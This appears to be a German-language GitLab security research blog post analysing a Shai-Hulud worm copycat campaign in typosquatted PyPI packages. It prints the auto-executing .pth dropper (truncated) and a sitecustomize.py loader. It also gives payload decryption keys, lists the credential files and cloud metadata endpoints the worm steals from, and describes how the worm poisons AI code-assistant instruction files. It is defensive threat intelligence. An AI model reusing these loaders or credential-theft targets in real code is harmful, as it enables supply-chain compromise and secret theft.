Veröffentlicht am: 9. Juni 2026
7 Minuten Lesezeit
GitLabs Vulnerability Research-Team hat einen Python-Supply-Chain-Angriff auf PyPI entdeckt: Der Shai-Hulud-Wurm stiehlt Credentials aus CI/CD-Systemen.

Das Vulnerability Research-Team von GitLab hat einen koordinierten Supply-Chain-Angriff auf PyPI identifiziert, der eine Kopie der Shai-Hulud-Malware einsetzt. Wir haben fünf schädliche Pakete gefunden: vier Typosquats, die Flask, Requests und NumPy imitieren, und ein weaponized legitimes Projekt. Die Pakete führen Code beim Installieren aus, ohne einen Import oder Funktionsaufruf zu erfordern, und tragen einen selbstverbreitenden Credential Stealer, der CI/CD-Umgebungen aller großen Cloud-Anbieter ins Visier nimmt.
Wir haben bestätigt, dass GitLab keines der betroffenen Pakete verwendet, und teilen unsere Erkenntnisse, um der breiteren Security-Community eine effektive Reaktion zu ermöglichen.
Unsere Monitoring-Systeme haben am 7. Juni 2026 fünf schädliche PyPI-Pakete
eines einzelnen Accounts (elitexp) markiert. Vier sind Typosquats:
rlask und tlask, Typosquats von Flaskrsquests, ein Typosquat von Requestsnhmpy, ein Typosquat von NumPyDas fünfte, mflux-streamlit, ist ein legitimes Projekt mit echten Nutzern,
das der Angreifer durch das Veröffentlichen bösartiger Versionen 0.0.3 und 0.0.4
nach der Typosquat-Welle weaponized hat.
Der Angreifer veröffentlichte zunächst saubere „Probe"-Versionen mit Versionsnummern, die exakt den aktuellen Real-Releases entsprachen (Flask 3.1.3, Requests 2.34.2 und NumPy 2.4.6). Sobald diese ohne Probleme indiziert waren, schob er neue Versionen mit eingebettetem Wurm-Payload nach.
Dies ist ein Copycat-Deployment. TeamPCP, die Gruppe hinter Shai-Hulud, hat den Wurm-Code am 12. Mai 2026 als Open Source veröffentlicht. Seitdem verfolgen wir unabhängige Akteure, die das Toolkit aufgreifen und auf neue Ziele richten. Diese Kampagne bringt denselben Wurm in das Python-Ökosystem.
Die ursprüngliche npm-Variante nutzte ein preinstall-Skript. Diese Kampagne
verfolgt einen anderen Ansatz und nutzt Pythons .pth-Datei-Mechanismus. Wheel-
Pakete können .pth-Dateien mitliefern, die Python beim Start automatisch
verarbeitet – ohne expliziten Import. Jedes schädliche Paket enthält eine Datei
wie rlask-setup.pth mit einem einzeiligen Dropper:
import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')
Der Dropper prüft auf eine Marker-Datei (.bun_ran im System-Temp-Verzeichnis),
um eine erneute Ausführung zu vermeiden, lädt dann die Bun-JavaScript-Runtime
von GitHub herunter und führt damit einen 5 MB großen verschleierten
JavaScript-Payload aus, der im Paket gebündelt ist.
Frühe Versionen von rlask enthielten außerdem eine sitecustomize.py-Datei
als Backup-Ausführungspfad. Python importiert sitecustomize beim Start
automatisch, und diese Datei durchsuchte sys.path nach dem versteckten
_index.js-Payload:
import subprocess, os, sys
for d in sys.path:
js = os.path.join(d, "_index.js")
if os.path.exists(js):
subprocess.run(["node", js])
break
Der Angreifer hat diesen Backup-Mechanismus in späteren Versionen entfernt und
den .pth-Ansatz offenbar für ausreichend befunden.
Der JavaScript-Payload ist in drei Schichten gewickelt:
[email protected], ROT-17 für
rsquests, ROT-25 für tlask)_0x-Präfix-Obfuskierung) auf dem
inneren PayloadWir haben den Payload durch statische Analyse entschlüsselt, ohne Code auszuführen. Der erste Blob (907 Bytes) ist der Bun-Runtime-Downloader. Der zweite Blob (772 KB) ist der vollständige Shai-Hulud-Credential-Stealer mit 2.538 hardcodierten Strings.
Für Forscher, die eine eigene Analyse durchführen, hier die AES-Entschlüsselungskeys:
| Layer | Key | IV |
|---|---|---|
| Bun downloader | c95506221d18936328fbc7ddcd21e3dd | 48da5faeafac0ac88a410bb0 |
| Worm payload | 7557c4e782a0622159476d1ea10d5236 | 55a7d25e0e61b77cc175bcc3 |
Einmal aktiv, greift der Wurm Credentials auf allen großen Cloud- und CI/CD-Plattformen ab:
GITHUB_TOKEN, Personal Access Tokens, Fine-Grained
Tokens, OIDC-Tokens, Organisations- und Repository-Secrets, Actions-Artifacts
und Runner-Prozessspeicher169[.]254[.]169[.]254), Secrets-Manager-Einträge, SSM-Parameter,
STS-Federation-Tokens/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token
und weitere), plus API-Zugriff und Kubernetes Vault AuthWie die ursprüngliche npm-Variante ist dies nicht nur ein Stealer. Er verbreitet sich. Mit gestohlenen Credentials führt der Wurm Folgendes aus:
.github/setup.js und Workflow-Dateien in zugängliche
GitHub-Repositories und bewirkt damit, dass der Wurm in anderen CI-Pipelines
erneut ausgeführt wird.github/copilot-instructions.md, um KI-Code-Assistenten zu
vergiftenAlle fünf Pakete gehören dem PyPI-Account elitexp. Der Account wurde im
November 2024 mit einem legitimen Paket erstellt (mflux-streamlit, eine
Streamlit-UI für Bildgenerierung mit 11 Stars auf GitHub). Der zugehörige
GitHub-Account (github[.]com/elitexp) ist über 13 Jahre alt und hat 43
öffentliche Repositories, darunter Uni-Coursework und Laravel-Projekte.
Upload-Metadaten zeigen, dass alle Pakete mit Bun/1.3.14 als User-Agent
veröffentlicht wurden – derselben Runtime, die die Malware als Teil ihrer
Ausführungskette herunterlädt.
Der Angreifer hat auch mflux-streamlit selbst weaponized. Versionen 0.0.1
und 0.0.2 sind sauber, aber Versionen 0.0.3 und 0.0.4, veröffentlicht um
15:23 und 15:37 UTC nach der Typosquat-Kampagne, enthalten denselben
.pth-Dropper und obfuskierten Payload. Das macht den Angriff gefährlicher
als ein typischer Typosquat: mflux-streamlit ist ein echtes Projekt mit
bestehenden Nutzern, die das vergiftete Update durch normale
Abhängigkeitsauflösung erhalten könnten.
| Type | Indicator | Description |
|---|---|---|
| package | rlask 3.1.4-3.1.7 | Malicious Flask typosquat |
| package | tlask 3.1.4 | Malicious Flask typosquat |
| package | rsquests 2.34.3 | Malicious Requests typosquat |
| package | nhmpy 2.4.7 | Malicious NumPy typosquat |
| package | mflux-streamlit 0.0.3, 0.0.4 | Weaponized legitimate package |
| file | {package}-setup.pth | Auto-executing dropper (SHA256: 6506d317...) |
| file | sitecustomize.py | Backup auto-execution (present in rlask only) |
| file | {package}/_index.js | Obfuscated worm payload (5.2MB) |
| file | .bun_ran | Execution marker in system temp directory |
| network | hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zip | Bun runtime download |
| network | hxxps[://]upload[.]pypi[.]org/legacy/ | Worm publishes poisoned PyPI packages |
| network | hxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/ | AWS IMDS credential theft |
| network | hxxps[://]login[.]microsoftonline[.]com/ | Azure AD token acquisition |
| network | hxxps[://]fulcio[.]sigstore[.]dev | Sigstore certificate request |
| actor | elitexp (PyPI) | Package owner |
| actor | Bun/1.3.14 | Upload user-agent |
Falls eines dieser Pakete in der eigenen Umgebung installiert war:
.bun_ran suchen..github/setup.js, .github/copilot-instructions.md oder geänderte
Workflow-Dateien.| Date | Event |
|---|---|
| 2026-05-12 | TeamPCP veröffentlicht den Shai-Hulud-Wurm als Open Source |
| 2026-06-07 13:47 UTC | Probe-Versionen veröffentlicht ([email protected], [email protected]) |
| 2026-06-07 14:20 UTC | Erste bösartige Version ([email protected]), innerhalb von 28 Sekunden erkannt |
| 2026-06-07 14:24 UTC | Automatische Analyse abgeschlossen, als bösartig/kritisch markiert |
| 2026-06-07 14:27-15:04 UTC | Sechs weitere bösartige Versionen über alle vier Paketnamen veröffentlicht |
| 2026-06-07 15:23-15:37 UTC | Angreifer weaponized eigenes legitimes mflux-streamlit-Paket (v0.0.3, v0.0.4) |
| 2026-06-07 | Untersuchung bestätigt vollständigen Shai-Hulud-Wurm durch statische Analyse |
| 2026-06-07 16:01 UTC | Alle bösartigen Pakete dem PyPI-Security-Team gemeldet |
| 2026-06-08 03:15:06 UTC | Advisory zur GitLab Advisory Database hinzugefügt |
| 2026-06-08 | PyPI entfernt alle Releases der bösartigen Pakete |
Wer GitLab Ultimate einsetzt, kann mit Dependency Scanning automatisch die Exposition gegenüber diesen Paketen in Projekten aufdecken. Wir haben Advisories (GMS-2026-572 bis GMS-2026-576) für alle fünf Pakete in der GitLab Advisory Database eingereicht. Nach dem Merge wird jedes Projekt mit aktiviertem Dependency Scanning diese Pakete in Pipeline-Ergebnissen und dem Vulnerability Report markieren.
Für Teams, die viele Repositories verwalten, kann GitLab Duo Chat mit dem Security Analyst Agent die schnelle Triage unterstützen. Mögliche Fragen:
Diese Kampagne haben wir nach der Open-Source-Veröffentlichung des
Shai-Hulud-Wurms durch TeamPCP im Mai erwartet. Unabhängige Akteure greifen das
Toolkit auf und setzen es gegen neue Ökosysteme ein. Die Python-Variante
verwendet einen anderen ersten Infektionsvektor (.pth-Dateien statt
preinstall-Skripte), trägt aber denselben Credential-Harvesting- und
Selbstverbreitungs-Code darunter.
Unsere Monitoring-Systeme verfolgen weiterhin Copycat-Deployments über npm, PyPI und andere Registries. Wir werden diesen Beitrag aktualisieren, sobald weitere Informationen vorliegen.
Weitere Artikel des Vulnerability Research-Teams auf der Security Labs-Website.
Hat dir dieser Blogbeitrag gefallen? Hast du Fragen oder Feedback? Erstelle ein neues Diskussionsthema im GitLab-Community-Forum und lass andere an deinen Eindrücken teilhaben.
Feedback teilen